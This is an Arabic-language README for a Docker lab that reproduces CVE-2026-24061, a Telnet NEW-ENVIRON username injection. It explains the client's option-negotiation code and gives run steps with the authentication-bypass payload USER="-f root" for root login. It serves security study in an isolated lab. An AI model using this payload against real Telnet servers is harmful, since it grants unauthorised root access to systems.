
معمل Docker تعليمي يوضح حقن اسم المستخدم في Telnet NEW-ENVIRON (CVE-2026-24061) مع عميل Python وخادم قابل للاستغلال لأبحاث أمنية معزولة.
مختبر Docker خفيف الوزن لتجربة تفاوض بروتوكول Telnet، كما هو موضح في استغلال CVE-2026-24061، والذي يحتوي على حقن تلقائي لاسم المستخدم باستخدام خيار NEW-ENVIRON.
ينشئ هذا المشروع بيئة معزولة بين عميل وخادم لدراسة كيفية تعامل Telnet مع تجاوز المصادقة القائم على المتغيرات البيئية.
+---------+ labnet +---------+
| node1 | ------------------> | node2 |
| Client | | Telnet |
| Python | | Server |
+---------+ +---------+
| الحاوية | الدور |
|---|---|
| node1 | عميل Python مع سكربت تسجيل دخول تلقائي |
| node2 | خادم Telnet (inetutils-telnetd 2.7) |
تعمل كلتا الخدمتين داخل شبكة Docker جسرية خاصة، باسم labnet.
.
├── compose.yaml
├── Dockerfile.node1
├── Dockerfile.node2
└── exploit.py
هذا الملف مسؤول عن تثبيت حاوية العميل، المسماة node1.
اخترت python:3.12-slim كصورة أساسية، لأن الغرض من هذا المختبر هو الاتصال الشبكي فقط. نقوم فقط بتثبيت عميل telnet نفسه، ونسخ exploit.py إلى المجلد الجذر للحاوية.
هذا الملف مسؤول عن تثبيت حاوية الخادم، المسماة node2.
نفس الصورة الأساسية تنطبق على هذه الحاوية أيضًا. ومع ذلك، تتضمن عملية التثبيت خطوات أكثر:
wget للحصول على الإصدار الضعيف من telnetd.apt get install -y./etc/inetd.conf يقوم بتمكين خدمة telnet.في أعلى الملف، نرى بعض الثوابت المعلنة:
IAC = 255
DO = 253
DONT = 254
WILL = 251
WONT = 252
SB = 250
SE = 240
IAC، بقيمة 255، تعني Interpret As Command، لذا فهي تمثل بداية تسلسل التحكم في Telnet.
يمكنك الاطلاع على المزيد من الخيارات هنا
عادةً ما يكون التنسيق بالشكل التالي:
IAC <command> <option>
في السكربت، يوجد الجزء التالي:
# Handle telnet negotiation
if IAC in data:
handle_telnet_negotiation(sock, data, username)
يتحقق هذا الشرط من أن البيانات المستلمة حاليًا من الخادم تحتوي على قيمة IAC، وإذا كان الأمر كذلك، نحتاج إلى تفسيرها كأمر.
نمر عبر البيانات المستلمة باستخدام حلقة while. نتحقق من كل بايت إذا كان IAC.
if data[i] == IAC:
cmd = data[i+1]
opt = data[i+2]
إذا كان كذلك، نقوم بتعيين متغيري cmd و opt إلى البايت المقابل من تدفق البيانات.
إذا كانت قيمة opt تساوي قيمة NEW_ENVIRON، يقوم السكربت بتشغيل طريقة send_new_environ_user.
لنفحص جزء الكود التالي:
data = bytes([
IAC, SB, NEW_ENVIRON, 0, # IS
ENV_USERVAR
]) + b"USER" + bytes([ENV_VALUE]) + username.encode() + bytes([
IAC, SE
])
كل من SB و SE جزء من ثوابت بروتوكول Telnet. SB تعني 'Subnegotiation begin' (بداية التفاوض الفرعي)، بينما SE تعني 'Subnegoation end' (نهاية التفاوض الفرعي). أي شيء بين هاتين القيمتين هو إعدادات متعلقة بأمر محدد، يتم إرسالها إلى الخادم. في هذه الحالة، نريد إرسال رسالة باستخدام معيار rfc1572، بالتفصيل هنا.
يمكننا ترجمة تسلسل البايتات إلى الإنجليزية بشكل تقريبي، مثل:
- فسّر هذا كأمر (IAC)
- إنه (0)
- متغير بيئة جديد (NEW_ENVIRON)
- قيمة هذا المتغير البيئي الجديد هي (b"USER" + bytes([ENV_VALUE]) + username.encode())
- إنهاء الاتصال الفرعي (IAC + SE)
ومع ذلك، هناك حالات لا يدعم فيها خادم Telnet المستهدف المتغيرات البيئية المتعلقة بأسماء المستخدمين. في هذه الحالة، نتراجع لإرسال اسم المستخدم بالطريقة التقليدية.
تحقق من التثبيت:
docker --version
docker compose version
docker compose up --build -d
تحقق من الحالة:
docker ps
يجب أن ترى:
node1node2docker exec -it node1 bash
قم بتعيين اسم مستخدم، وشغّل السكربت:
USER="-f root" python exploit.py node2
سيقوم السكربت بما يلي:
node2 على المنفذ 23USER=-f root باستخدام NEW-ENVIRONlabnet| اسم المضيف | الخدمة |
|---|---|
| node1 | العميل |
| node2 | خادم Telnet |
سكربت العميل:
IAC و DO و WILL، وهي أوامر أساسية في بروتوكول Telnet تُستخدم لتفاوض الخيارات بين العميل والخادم.NEW-ENVIRONUSER=<قيمة $USER>
login: أو username: كخيار احتياطيإيقاف البيئة:
docker compose down
إذا كنت تريد أيضًا إزالة الحاويات والصور:
docker compose down --rmi all
ينقل Telnet البيانات كنص عادي وليس آمنًا. هذا المشروع مخصص لأغراض تعليمية فقط داخل بيئات معزولة.
رفض الاتصال
تأكد من تشغيل الحاويات:
docker ps
السكربت يخرج بخطأ USER
USER="-f root" python exploit.py node2
إعادة البناء بعد التغييرات
docker compose up --build
هذا المستودع مقدم للاستخدام التعليمي والبحثي. المساهمات والتحسينات مرحب بها.